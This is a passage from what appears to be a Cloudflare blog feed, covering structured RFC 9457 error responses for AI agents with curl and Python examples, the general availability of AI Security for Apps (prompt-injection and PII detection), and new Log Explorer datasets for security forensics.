&lt;title&gt;Access denied | example.com used Cloudflare to restrict access&lt;/title&gt;
&lt;style&gt;/* 200 lines of CSS */&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;div class="cf-wrapper"&gt;
    &lt;h1 data-translate="block_headline"&gt;Sorry, you have been blocked&lt;/h1&gt;
    &lt;!-- ... hundreds more lines ... --&gt;
  &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
            <p>To an agent, this is garbage. It cannot determine what error occurred, why it was blocked, or whether retrying will help. Even if it parses the HTML, the content describes the error but doesn't tell the agent — or the human, for that matter — what to do next.</p><p>If you're an agent developer and you wanted to handle Cloudflare errors gracefully, your options were limited. For Cloudflare-generated errors, structured responses existed only in configuration-dependent paths, not as a consistent default for agents.</p><p>Custom Error Rules can customize many Cloudflare errors, including some 1xxx cases. But they depend on per-site configuration, so they cannot serve as a universal agent contract across the web. Cloudflare sits in front of the request path. That means we can define a default machine response: retry or stop, wait and back off, escalate or reroute. Error pages stop being decoration and become execution instructions.</p>
    <div>
      <h3>What we did</h3>
      <a href="#what-we-did">
        
      </a>
    </div>
    <p>Cloudflare now returns RFC 9457-compliant structured responses for all 1xxx-class error paths — Cloudflare's platform error codes for edge-side failures like DNS resolution issues, access denials, and rate limits. Both formats are live: <code>Accept: text/markdown</code> returns Markdown, <code>Accept: application/json</code> returns JSON, and <code>Accept: application/problem+json</code> returns JSON with the <code>application/problem+json</code> content type.</p><p>This covers all 1xxx-class errors today. The same contract will extend to Cloudflare-generated 4xx and 5xx errors next.</p><p>Markdown responses have two parts:</p><ul><li><p>YAML frontmatter for machine-readable fields</p></li><li><p>prose sections for explicit guidance (<code>What happened</code> and <code>What you should do</code>)</p></li></ul><p>JSON responses carry the same fields as a flat object.</p><p>The YAML frontmatter is the critical layer for automation. It lets an agent extract stable keys without scraping HTML or guessing intent from copy. Fields like <code>error_code</code>, <code>error_name</code>, and <code>error_category</code> let the agent classify the failure. <code>retryable</code> and <code>retry_after</code> drive backoff logic. <code>owner_action_required</code> tells the agent whether to keep trying or escalate. <code>ray_id</code>, <code>timestamp</code>, and <code>zone</code> make logs and support handoffs deterministic.</p><p>The schema is stable by design, so agents can implement durable control flow without chasing presentation changes.</p><p>That stability is not a Cloudflare invention. <a href="https://www.rfc-editor.org/rfc/rfc9457">RFC 9457 — Problem Details for HTTP APIs</a> defines a standard JSON shape for reporting errors over HTTP, so clients can parse error responses without knowing the specific API in advance. Our JSON responses follow this shape, which means any HTTP client that understands Problem Details can parse the base members without Cloudflare-specific code:</p><table><tr><td><p><b>RFC 9457 member</b></p></td><td><p><b>What it contains</b></p></td></tr><tr><td><p><code>type</code></p></td><td><p>A URI pointing to Cloudflare's documentation for the specific error code</p></td></tr><tr><td><p><code>status</code></p></td><td><p>The HTTP status code (matching the actual response status)</p></td></tr><tr><td><p><code>title</code></p></td><td><p>A short, human-readable summary of the problem</p></td></tr><tr><td><p><code>detail</code></p></td><td><p>A human-readable explanation specific to this occurrence</p></td></tr><tr><td><p><code>instance</code></p></td><td><p>The Ray ID identifying this specific error occurrence</p></td></tr></table><p>The operational fields — <code>error_code</code>, <code>error_category</code>, <code>retryable</code>, <code>retry_after</code>, <code>owner_action_required</code>, and more — are RFC 9457 extension members. Clients that don't recognize them simply ignore them.</p><p>This is network-wide and additive. Site owners do not need to configure anything. Browsers keep receiving HTML unless clients explicitly ask for Markdown or JSON.</p>
    <div>
      <h3>What the response looks like</h3>
      <a href="#what-the-response-looks-like">
        
      </a>
    </div>
    <p>Here is what a rate-limit error (<code>1015</code>) looks like in JSON:</p>
            <pre><code>{
  "type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-1xxx-errors/error-1015/",
  "title": "Error 1015: You are being rate limited",
  "status": 429,
  "detail": "You are being rate-limited by the website owner's configuration.",
  "instance": "9d99a4434fz2d168",
  "error_code": 1015,
  "error_name": "rate_limited",
  "error_category": "rate_limit",
  "ray_id": "9d99a4434fz2d168",
  "timestamp": "2026-03-09T11:11:55Z",
  "zone": "&lt;YOUR_DOMAIN&gt;",
  "cloudflare_error": true,
  "retryable": true,
  "retry_after": 30,
  "owner_action_required": false,
  "what_you_should_do": "**Wait and retry.** This block is transient. Wait at least 30 seconds, then retry with exponential backoff.\n\nRecommended approach:\n1. Wait 30 seconds before your next request\n2. If rate-limited again, double the wait time (60s, 120s, etc.)\n3. If rate-limiting persists after 5 retries, stop and reassess your request pattern",
  "footer": "This error was generated by Cloudflare on behalf of the website owner."
}</code></pre>
            <p>The same error in Markdown, optimized for model-first workflows:</p>
            <pre><code>---
error_code: 1015
error_name: rate_limited
error_category: rate_limit
status: 429
ray_id: 9d99a39dc992d168
timestamp: 2026-03-09T11:11:28Z
zone: &lt;YOUR_DOMAIN&gt;
cloudflare_error: true
retryable: true
retry_after: 30
owner_action_required: false
---

# Error 1015: You are being rate limited

## What Happened

You are being rate-limited by the website owner's configuration.

## What You Should Do

**Wait and retry.** This block is transient. Wait at least 30 seconds, then retry with exponential backoff.

Recommended approach:
1. Wait 30 seconds before your next request
2. If rate-limited again, double the wait time (60s, 120s, etc.)
3. If rate-limiting persists after 5 retries, stop and reassess your request pattern

---
This error was generated by Cloudflare on behalf of the website owner.
</code></pre>
            <p>Both formats give an agent everything it needs to decide and act: classify the error, choose retry behavior, and determine whether escalation is required. This is what a default machine contract looks like — not per-site configuration, but network-wide behavior. The contrast is explicit across error families: a transient error like <code>1015</code> says wait and retry, while intentional blocks like <code>1020</code> or geographic restrictions like <code>1009</code> tell the agent not to retry and to escalate instead.</p>
    <div>
      <h3>One contract, two formats</h3>
      <a href="#one-contract-two-formats">
        
      </a>
    </div>
    <p>The core value is not format choice. It is semantic stability.</p><p>Agents need deterministic answers to operational questions: retry or not, how long to wait, and whether to escalate. Cloudflare exposes one policy contract across two wire formats. Whether a client consumes Markdown or JSON, the operational meaning is identical: same error identity, same retry/backoff signals, same escalation guidance.</p><p>Clients that send <code>Accept: application/problem+json</code> get <code>application/problem+json; charset=utf-8</code> back — useful for HTTP client libraries that dispatch on media type. Clients that send <code>Accept: application/json</code> get <code>application/json; charset=utf-8</code> — same body, safe default for existing consumers.</p>
    <div>
      <h3>Size reduction and token efficiency</h3>
      <a href="#size-reduction-and-token-efficiency">
        
      </a>
    </div>
    <p>That contract is also dramatically smaller than what it replaces. Cloudflare HTML error pages are browser-oriented and heavy, while structured responses are compact by design.</p><p>Measured comparison for <code>1015</code>:</p><table><tr><td><p><b>Payload</b></p></td><td><p><b>Bytes</b></p></td><td><p><b>Tokens (cl100k_base)</b></p></td><td><p><b>Size vs HTML</b></p></td><td><p><b>Token vs HTML</b></p></td></tr><tr><td><p>HTML response</p></td><td><p>46,645</p></td><td><p>14,252</p></td><td><p>—</p></td><td><p>—</p></td></tr><tr><td><p>Markdown response</p></td><td><p>798</p></td><td><p>221</p></td><td><p>58.5x less</p></td><td><p>64.5x less</p></td></tr><tr><td><p>JSON response</p></td><td><p>970</p></td><td><p>256</p></td><td><p>48.1x less</p></td><td><p>55.7x less</p></td></tr></table><p>Both structured formats deliver a ~98% reduction in size and tokens versus HTML. For agents, size translates directly into token cost — when an agent hits multiple errors in one run, these savings compound into lower model spend and faster recovery loops.</p>
    <div>
      <h3>Ten categories, clear actions</h3>
      <a href="#ten-categories-clear-actions">
        
      </a>
    </div>
    <p>Every <code>1xxx</code> error is mapped to an <code>error_category</code>. That turns error handling into routing logic instead of brittle per-page parsing.</p><table><tr><td><p><b>Category</b></p></td><td><p><b>What it means</b></p></td><td><p><b>What the agent should do</b></p></td></tr><tr><td><p><code>access_denied</code></p></td><td><p>Intentional block: IP, ASN, geo, firewall rule</p></td><td><p>Do not retry. Contact site owner if unexpected.</p></td></tr><tr><td><p><code>rate_limit</code></p></td><td><p>Request rate exceeded</p></td><td><p>Back off. Retry after retry_after seconds.</p></td></tr><tr><td><p><code>dns</code></p></td><td><p>DNS resolution failure at the origin</p></td><td><p>Do not retry. Report to site owner.</p></td></tr><tr><td><p><code>config</code></p></td><td><p>Configuration error: CNAME, tunnel, host routing</p></td><td><p>Do not retry (usually). Report to site owner.</p></td></tr><tr><td><p><code>tls</code></p></td><td><p>TLS version or cipher mismatch</p></td><td><p>Fix TLS client settings. Do not retry as-is.</p></td></tr><tr><td><p><code>legal</code></p></td><td><p>DMCA or regulatory block</p></td><td><p>Do not retry. This is a legal restriction.</p></td></tr><tr><td><p><code>worker</code></p></td><td><p>Cloudflare Workers runtime error</p></td><td><p>Do not retry. Site owner must fix the script.</p></td></tr><tr><td><p><code>rewrite</code></p></td><td><p>Invalid URL rewrite output</p></td><td><p>Do not retry. Site owner must fix the rule.</p></td></tr><tr><td><p><code>snippet</code></p></td><td><p>Cloudflare Snippets error</p></td><td><p>Do not retry. Site owner must fix Snippets config.</p></td></tr><tr><td><p><code>unsupported</code></p></td><td><p>Unsupported method or deprecated feature</p></td><td><p>Change the request. Do not retry as-is.</p></td></tr></table><p>Two fields make this operationally useful for agents:</p><ul><li><p><code>retryable</code> answers whether a retry can succeed</p></li><li><p><code>owner_action_required</code> answers whether the problem must be escalated</p></li></ul><p>You can replace brittle "if status == 429 then maybe retry" heuristics with explicit control flow. Parse the frontmatter once, then branch on stable fields. A simple pattern is:</p><ul><li><p>if <code>retryable</code> is <code>true</code>, wait <code>retry_after</code> and retry</p></li><li><p>if <code>owner_action_required</code> is <code>true</code>, stop and escalate</p></li><li><p>otherwise, fail fast without hammering the site</p></li></ul><p>Here is a minimal Python example using that pattern:</p>
            <pre><code>import time
import yaml


def parse_frontmatter(markdown_text: str) -&gt; dict:
    # Expects: ---\n&lt;yaml&gt;\n---\n&lt;body&gt;
    if not markdown_text.startswith("---\n"):
        return {}
    _, yaml_block, _ = markdown_text.split("---\n", 2)
    return yaml.safe_load(yaml_block) or {}


def handle_cloudflare_error(markdown_text: str) -&gt; str:
    meta = parse_frontmatter(markdown_text)

    if not meta.get("cloudflare_error"):
        return "not_cloudflare_error"

    if meta.get("retryable"):
        wait_seconds = int(meta.get("retry_after", 30))
        time.sleep(wait_seconds)
        return f"retry_after_{wait_seconds}s"

    if meta.get("owner_action_required"):
        return f"escalate_owner_error_{meta.get('error_code')}"

    return "do_not_retry"</code></pre>
            <p>This is the key shift: agents are no longer inferring intent from HTML copy. They are executing explicit policy from structured fields.</p>
    <div>
      <h3>How to use it</h3>
      <a href="#how-to-use-it">
        
      </a>
    </div>
    <p>Send <code>Accept: text/markdown</code>, <code>Accept: application/json</code>, or <code>Accept: application/problem+json</code>.</p><p>For quick testing, you can hit any Cloudflare-proxied domain directly at <code>/cdn-cgi/error/1015</code> (or replace <code>1015</code> with another <code>1xxx</code> code).</p>
            <pre><code>curl -s --compressed -H "Accept: text/markdown" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1015"
</code></pre>
            <p>Example with another error code:</p>
            <pre><code>curl -s --compressed -H "Accept: text/markdown" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1020"
</code></pre>
            <p>JSON example:</p>
            <pre><code>curl -s --compressed -H "Accept: application/json" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1015" | jq .
</code></pre>
            <p>RFC 9457 Problem Details example:</p>
            <pre><code>curl -s --compressed -H "Accept: application/problem+json" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1015" | jq .
</code></pre>
            <p>The behavior is deterministic — the first explicit structured type wins:</p><table><tr><td><p><b>Accept header</b></p></td><td><p><b>Response</b></p></td></tr><tr><td><p><code>application/json</code></p></td><td><p>JSON</p></td></tr><tr><td><p><code>application/json; charset=utf-8</code></p></td><td><p>JSON</p></td></tr><tr><td><p><code>application/problem+json</code></p></td><td><p>JSON (application/problem+json content type)</p></td></tr><tr><td><p><code>application/json, text/markdown;q=0.9</code></p></td><td><p>JSON</p></td></tr><tr><td><p><code>application/json, text/markdown</code></p></td><td><p>JSON (equal q, first-listed wins)</p></td></tr><tr><td><p><code>text/markdown</code></p></td><td><p>Markdown</p></td></tr><tr><td><p><code>text/markdown, application/json</code></p></td><td><p>Markdown (equal q, first-listed wins)</p></td></tr><tr><td><p><code>text/markdown, */*</code></p></td><td><p>Markdown</p></td></tr><tr><td><p><code>text/*</code></p></td><td><p>Markdown</p></td></tr><tr><td><p><code>*/*</code></p></td><td><p>HTML (default)</p></td></tr></table><p>Wildcard-only requests (<code>*/*</code>) do not signal a structured preference; clients must explicitly request Markdown or JSON.</p><p>If the request succeeds, you get normal origin content. The header only affects Cloudflare-generated error responses.</p>
    <div>
      <h3>Real-world use cases</h3>
      <a href="#real-world-use-cases">
        
      </a>
    </div>
    <p>There are a number of situations where structured error responses help immediately:</p><ol><li><p>Agent blocked by WAF rule (<code>1020</code>). The agent parses <code>error_code</code>, records <code>ray_id</code>, and stops retrying. It can escalate with useful context instead of looping.</p></li><li><p>MCP (Model Context Protocol) tool hitting geo restriction (<code>1009</code>). The tool gets a clear, machine-readable reason, returns it to the orchestrator, and the workflow can choose an alternate path or notify the user.</p></li><li><p>Rate-limited crawler (<code>1015</code>). The agent reads <code>retryable</code>: true and <code>retry_after</code>, applies backoff, and retries predictably instead of hammering the endpoint.</p></li><li><p>Developer debugging with <code>curl</code>. The developer can reproduce exactly what the agent sees, including frontmatter and guidance, without reverse-engineering HTML.</p></li><li><p>HTTP client libraries that understand RFC 9457. Any client that dispatches on <code>application/problem+json</code> or parses Problem Details objects can handle Cloudflare errors without Cloudflare-specific code.</p></li></ol><p>In each case, the outcome is the same: less guessing, fewer wasted retries, lower model cost, and faster recovery.</p>
    <div>
      <h3>Try it now</h3>
      <a href="#try-it-now">
        
      </a>
    </div>
    <p>Send a structured <code>Accept</code> header and test against any Cloudflare-proxied domain:</p>
            <pre><code>curl -s --compressed -H "Accept: text/markdown" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1015"
</code></pre>
            
            <pre><code>curl -s --compressed -H "Accept: application/json" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1015" | jq .
</code></pre>
            
            <pre><code>curl -s --compressed -H "Accept: application/problem+json" -A "TestAgent/1.0" -H "Accept-Encoding: gzip, deflate" "&lt;YOUR_DOMAIN&gt;/cdn-cgi/error/1015" | jq .
</code></pre>
            <p>Error pages are the first conversation between Cloudflare and an agent. This launch makes that conversation structured, standards-compliant, and cheap to process.</p><p>To make this work across the web, agent runtimes should default to explicit structured <code>Accept</code> headers, not bare <code>*/*</code>. Use <code>Accept: text/markdown, */*</code> for model-first workflows and <code>Accept: application/json, */*</code> for typed control flow. If you maintain an agent framework, SDK, or browser automation stack, ship this default and treat bare <code>*/*</code> as legacy fallback.</p><p>And it is only the first layer. We are building the rest of the agent stack on top of it: <a href="https://developers.cloudflare.com/ai-gateway/"><u>AI Gateway</u></a> for routing, controls, and observability; <a href="https://www.cloudflare.com/developer-platform/products/workers-ai/"><u>Workers AI</u></a> for inference; and the identity, security, and access primitives agents will need to operate safely at Internet scale.</p><p>Cloudflare is helping our customers deliver content in agent-friendly ways, and this is just the start. If you're building or operating agents, start at <a href="http://agents.cloudflare.com"><u>agents.cloudflare.com</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Edge Computing]]></category>
            <guid isPermaLink="false">46xdz0GQfFtpCKRKNbfj3b</guid>
            <dc:creator>Sam Marsh</dc:creator>
        </item>
        <item>
            <title><![CDATA[AI Security for Apps is now generally available]]></title>
            <link>https://blog.cloudflare.com/ai-security-for-apps-ga/</link>
            <pubDate>Wed, 11 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare AI Security for Apps is now generally available, providing a security layer to discover and protect AI-powered applications, regardless of the model or hosting provider. We are also making AI discovery free for all plans, to help teams find and secure shadow AI deployments. ]]></description>
            <content:encoded><![CDATA[ <p>Cloudflare’s <a href="https://www.cloudflare.com/demos/protect-ai-apps/"><u>AI Security for Apps</u></a> detects and mitigates threats to AI-powered applications. Today, we're announcing that it is generally available.</p><p>We’re shipping with new capabilities like detection for custom topics, and we're making AI endpoint discovery free for every Cloudflare customer—including those on Free, Pro, and Business plans—to give everyone visibility into where AI is deployed across their Internet-facing apps.</p><p>We're also announcing an expanded collaboration with IBM, which has chosen Cloudflare to deliver AI security to its cloud customers. And we’re partnering with Wiz to give mutual customers a unified view of their AI security posture.</p>
    <div>
      <h2>A new kind of attack surface</h2>
      <a href="#a-new-kind-of-attack-surface">
        
      </a>
    </div>
    <p>Traditional web applications have defined operations: check a bank balance, make a transfer. You can write deterministic rules to secure those interactions. </p><p>AI-powered applications and agents are different. They accept natural language and generate unpredictable responses. There's no fixed set of operations to allow or deny, because the inputs and outputs are probabilistic. Attackers can manipulate large language models to take unauthorized actions or leak sensitive data. Prompt injection, sensitive information disclosure, and unbounded consumption are just a few of the risks cataloged in the <a href="https://genai.owasp.org/llm-top-10/"><u>OWASP Top 10 for LLM Applications</u></a>.</p><p>These risks escalate as AI applications become agents. When an AI gains access to tool calls—processing refunds, modifying accounts, providing discounts, or accessing customer data—a single malicious prompt becomes an immediate security incident.</p><p>Customers tell us what they’re up against. "Most of Newfold Digital's teams are putting in their own Generative AI safeguards, but everybody is innovating so quickly that there are inevitably going to be some gaps eventually,” says Rick Radinger, Principal Systems Architect at Newfold Digital, which operates Bluehost, HostGator, and Domain.com. </p>
    <div>
      <h2>What AI Security for Apps does</h2>
      <a href="#what-ai-security-for-apps-does">
        
      </a>
    </div>
    <p>We built AI Security for Apps to address this. It sits in front of your AI-powered applications, whether you're using a third-party model or hosting your own, as part of Cloudflare's <a href="https://www.cloudflare.com/learning/cdn/glossary/reverse-proxy/"><u>reverse proxy</u></a>. It helps you (1) discover AI-powered apps across your web property, (2) detect malicious or off-policy behavior to those endpoints, and (3) mitigate threats via the familiar WAF rule builder. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5xpmckBUupzELjYOSx5bAF/cace1ab2ed2dd54d8d7a7ff60587ef65/BLOG-3128_2.png" />
          </figure>
    <div>
      <h3>Discovery — now free for everyone</h3>
      <a href="#discovery-now-free-for-everyone">
        
      </a>
    </div>
    <p>Before you can protect your LLM-powered applications, you need to know where they're being used. We often hear from security teams who don’t have a complete picture of AI deployments across their apps, especially as the LLM market evolves and developers swap out models and providers. </p><p>AI Security for Apps automatically identifies LLM-powered endpoints across your web properties, regardless of where they’re hosted or what the model is. Starting today, this capability is free for every Cloudflare customer, including Free, Pro, and Business plans. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2dBKhU5VNbzAePDAnaHkTK/3f6a569e495e03c3e2afca4d6183e02d/image4.png" />
          </figure><p><sup><i>Cloudflare’s dashboard page of web assets, showing 2 example endpoints labelled as </i></sup><code><sup><i>cf-llm</i></sup></code></p><p>Discovering these endpoints automatically requires more than matching common path patterns like <code>/chat/completions</code>. Many AI-powered applications don't have a chat interface: think product search, property valuation tools, or recommendation engines. We built a <a href="https://blog.cloudflare.com/take-control-of-public-ai-application-security-with-cloudflare-firewall-for-ai/#discovering-llm-powered-applications"><u>detection system that looks at how endpoints behave</u></a>, not what they're called. To confidently identify AI-powered endpoints, <a href="https://developers.cloudflare.com/api-shield/security/api-discovery/#requirements"><u>sufficient valid traffic</u></a> is required.</p><p>AI-powered endpoints that have been discovered will be visible under <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/web-assets"><u>Security → Web Assets</u></a>, labeled as <code>cf-llm</code>. For customers on a Free plan, endpoint discovery is initiated when you first navigate to the <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/web-assets/discovery"><u>Discovery page</u></a>. For customers on a paid plan, discovery occurs automatically in the background on a recurring basis. If your AI-powered endpoints have been discovered, you can review them immediately.</p>
    <div>
      <h3>Detection</h3>
      <a href="#detection">
        
      </a>
    </div>
    <p>AI Security for Apps detections follow the <a href="https://developers.cloudflare.com/waf/detections/"><u>always-on approach</u></a> for traffic to your AI-powered endpoints. Each prompt is run through multiple detection modules for prompt injection, PII exposure, and sensitive or toxic topics. The results—whether the prompt was malicious or not—are attached as metadata you can use in custom WAF rules to enforce your policies. We are continuously exploring ways to leverage our global network, which sees traffic from roughly <a href="https://w3techs.com/technologies/history_overview/proxy/all"><u>20% of the web</u></a>, to identify new attack patterns across millions of sites before they reach yours.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7oGjcaUL5L9zlAkz8lSmXv/4354a9555135e19de5c93d3d113e6790/BLOG-3128_4.png" />
          </figure>
    <div>
      <h4>New in GA: Custom topics detection</h4>
      <a href="#new-in-ga-custom-topics-detection">
        
      </a>
    </div>
    <p>The product ships with built-in detection for common threats: prompt injections, <a href="https://blog.cloudflare.com/take-control-of-public-ai-application-security-with-cloudflare-firewall-for-ai/#detecting-prompts-designed-to-leak-pii"><u>PII extraction</u></a>, and <a href="https://blog.cloudflare.com/block-unsafe-llm-prompts-with-firewall-for-ai/"><u>toxic topics</u></a>. But every business has its own definition of what's off-limits. A financial services company might need to detect discussions of specific securities. A healthcare company might need to flag conversations that touch on patient data. A retailer might want to know when customers are asking about competitor products.</p><p>The new custom topics feature lets you define these categories. You specify the topic, we inspect the prompt and output a relevance score that you can use to log, block, or handle however you decide. Our goal is to build an extensible tool that flexes to your use cases.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1WzPhy11ZmUXDGZjft4sY1/7ebfafaf2114eaba83a829694837fc2c/image1.png" />
          </figure><p><sup><i>Prompt relevance score inside of AI Security for Apps</i></sup></p>
    <div>
      <h4>New in GA: Custom prompt extraction</h4>
      <a href="#new-in-ga-custom-prompt-extraction">
        
      </a>
    </div>
    <p>AI Security for Apps enforces guardrails before unsafe prompts can reach your infrastructure. To run detections accurately and provide real-time protection, we first need to identify the prompt within the request payload. Prompts can live anywhere in a request body, and different LLM providers structure their APIs differently. OpenAI and most providers use <code>$.messages[*].content</code> for chat completions. Anthropic's batch API nests prompts inside <code>$.requests[*].params.messages[*].content</code>. Your custom property valuation tool might use <code>$.property_description</code>.</p><p>Out of the box, we support the standard formats used by OpenAI, Anthropic, Google Gemini, Mistral, Cohere, xAI, DeepSeek, and others. When we can't match a known pattern, we apply a default-secure posture and run detection on the entire request body. This can introduce false positives when the payload contains fields that are sensitive but don't feed directly to an AI model, for example, a <code>$.customer_name</code> field alongside the actual prompt might trigger PII detection unnecessarily.</p><p>Soon, you'll be able to define your own JSONPath expressions to tell us exactly where to find the prompt. This will reduce false positives and lead to more accurate detections. We're also building a prompt-learning capability that will automatically adapt to your application's structure over time.</p>
    <div>
      <h3>Mitigation</h3>
      <a href="#mitigation">
        
      </a>
    </div>
    <p>Once a threat is identified and scored, you can block it, log it, or deliver custom responses, using the same WAF rules engine you already use for the rest of your application security. The power of Cloudflare’s shared platform is that you can combine AI-specific signals with everything else we know about a request, represented by <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/fields/reference/"><u>hundreds of fields</u></a> available in the WAF. A prompt injection attempt is suspicious. A prompt injection attempt from an IP that’s been probing your login page, using a browser fingerprint associated with previous attacks, and rotating through a botnet is a different story. Point solutions that only see the AI layer can’t make these connections.</p><p>This unified security layer is exactly what they need at Newfold Digital to discover, label, and protect AI endpoints, says Radinger: “We look forward to using it across all these projects to serve as a fail-safe."</p>
    <div>
      <h2>Growing ecosystem</h2>
      <a href="#growing-ecosystem">
        
      </a>
    </div>
    <p>AI Security for Applications will also be available through Cloudflare's growing ecosystem, including through integration with IBM Cloud. Through <a href="https://www.ibm.com/products/cloud-internet-services"><u>IBM Cloud Internet Services (CIS)</u></a>, end users can already procure advanced application security solutions and manage them directly through their IBM Cloud account. </p><p>We're also partnering with Wiz to connect AI Security for Applications with <a href="https://www.wiz.io/solutions/ai-spm"><u>Wiz AI Security</u></a>, giving mutual customers a unified view of their AI security posture, from model and agent discovery in the cloud to application-layer guardrails at the edge.</p>
    <div>
      <h2>How to get started</h2>
      <a href="#how-to-get-started">
        
      </a>
    </div>
    <p>AI Security for Apps is available now for Cloudflare’s Enterprise customers. Contact your account team to get started, or see the product in action with a <a href="https://www.cloudflare.com/demos/protect-ai-apps/"><u>self-guided tour</u></a>.</p><p>If you're on a Free, Pro, or Business plan, you can use AI endpoint discovery today. Log in to your dashboard and navigate to <b>Security → Web Assets</b> to see which endpoints we've identified. Keep an eye out — we plan to make all AI Security for Apps capabilities available for customers on all plans soon.</p><p>For configuration details, see our <a href="https://developers.cloudflare.com/waf/detections/firewall-for-ai/"><u>documentation</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[Application Services]]></category>
            <guid isPermaLink="false">4MBDCV6FV61Xbyav3cW8Xy</guid>
            <dc:creator>Liam Reese</dc:creator>
            <dc:creator>Zhiyuan Zheng</dc:creator>
            <dc:creator>Catherine Newcomb</dc:creator>
        </item>
        <item>
            <title><![CDATA[Investigating multi-vector attacks in Log Explorer]]></title>
            <link>https://blog.cloudflare.com/investigating-multi-vector-attacks-in-log-explorer/</link>
            <pubDate>Tue, 10 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ Log Explorer customers can now identify and investigate multi-vector attacks. Log Explorer supports 14 additional Cloudflare datasets, enabling users to have a 360-degree view of their network. ]]></description>
            <content:encoded><![CDATA[ <p>In the world of cybersecurity, a single data point is rarely the whole story. Modern attackers don’t just knock on the front door; they probe your APIs, flood your network with "noise" to distract your team, and attempt to slide through applications and servers using stolen credentials.</p><p>To stop these multi-vector attacks, you need the full picture. By using Cloudflare Log Explorer to conduct security forensics, you get 360-degree visibility through the integration of 14 new datasets, covering the full surface of Cloudflare’s Application Services and Cloudflare One product portfolios. By correlating telemetry from application-layer HTTP requests, network-layer DDoS and Firewall logs, and Zero Trust Access events, security analysts can significantly reduce Mean Time to Detect (MTTD) and effectively unmask sophisticated, multi-layered attacks.</p><p>Read on to learn more about how Log Explorer gives security teams the ultimate landscape for rapid, deep-dive forensics.</p>
    <div>
      <h2>The flight recorder for your entire stack</h2>
      <a href="#the-flight-recorder-for-your-entire-stack">
        
      </a>
    </div>
    <p>The contemporary digital landscape requires deep, correlated telemetry to defend against adversaries using multiple attack vectors. Raw logs serve as the "flight recorder" for an application, capturing every single interaction, attack attempt, and performance bottleneck. And because Cloudflare sits at the edge, between your users and your servers, all of these events are logged before the requests even reach your infrastructure. </p><p>Cloudflare Log Explorer centralizes these logs into a unified interface for rapid investigation.</p>
    <div>
      <h3>Log Types Supported</h3>
      <a href="#log-types-supported">
        
      </a>
    </div>
    
    <div>
      <h4>Zone-Scoped Logs</h4>
      <a href="#zone-scoped-logs">
        
      </a>
    </div>
    <p><i>Focus: Website traffic, security events, and edge performance.</i></p><table><tr><td><p><b>HTTP Requests</b></p></td><td><p>As the most comprehensive dataset, it serves as the "primary record" of all application-layer traffic, enabling the reconstruction of session activity, exploit attempts, and bot patterns.</p></td></tr><tr><td><p><b>Firewall Events</b></p></td><td><p>Provides critical evidence of blocked or challenged threats, allowing analysts to identify the specific WAF rules, IP reputations, or custom filters that intercepted an attack.</p></td></tr><tr><td><p><b>DNS Logs</b></p></td><td><p>Identify cache poisoning attempts, domain hijacking, and infrastructure-level reconnaissance by tracking every query resolved at the authoritative edge.</p></td></tr><tr><td><p><b>NEL (Network Error Logging) Reports</b></p></td><td><p>Distinguish between a coordinated Layer 7 DDoS attack and legitimate network connectivity issues by tracking client-side browser errors.</p></td></tr><tr><td><p><b>Spectrum Events</b></p></td><td><p>For non-web applications, these logs provide visibility into L4 traffic (TCP/UDP), helping to identify anomalies or brute-force attacks against protocols like SSH, RDP, or custom gaming traffic.</p></td></tr><tr><td><p><b>Page Shield</b></p></td><td><p>Track and audit unauthorized changes to your site's client-side environment such as JavaScript, outbound connections.</p></td></tr><tr><td><p><b>Zaraz Events</b></p></td><td><p>Examine how third-party tools and trackers are interacting with user data, which is vital for auditing privacy compliance and detecting unauthorized script behaviors.</p></td></tr></table>
    <div>
      <h4>Account-Scoped Logs</h4>
      <a href="#account-scoped-logs">
        
      </a>
    </div>
    <p><i>Focus: Internal security, Zero Trust, administrative changes, and network activity.</i></p><table><tr><td><p><b>Access Requests</b></p></td><td><p>Tracks identity-based authentication events to determine which users accessed specific internal applications and whether those attempts were authorized.</p></td></tr><tr><td><p><b>Audit Logs</b></p></td><td><p>Provides a trail of configuration changes within the Cloudflare dashboard to identify unauthorized administrative actions or modifications.</p></td></tr><tr><td><p><b>CASB Findings</b></p></td><td><p>Identifies security misconfigurations and data risks within SaaS applications (like Google Drive or Microsoft 365) to prevent unauthorized data exposure.</p></td></tr><tr><td><p><b>Magic Transit / IPSec Logs</b></p></td><td><p>Helps network engineers perform network-level (L3) monitoring such as reviewing tunnel health and view BGP routing changes.</p></td></tr><tr><td><p><b>Browser Isolation Logs</b></p></td><td><p>Tracks user actions <i>inside</i> an isolated browser session (e.g., copy-paste, print, or file uploads) to prevent data leaks on untrusted sites </p></td></tr><tr><td><p><b>Device Posture Results </b></p></td><td><p>Details the security health and compliance status of devices connecting to your network, helping to identify compromised or non-compliant 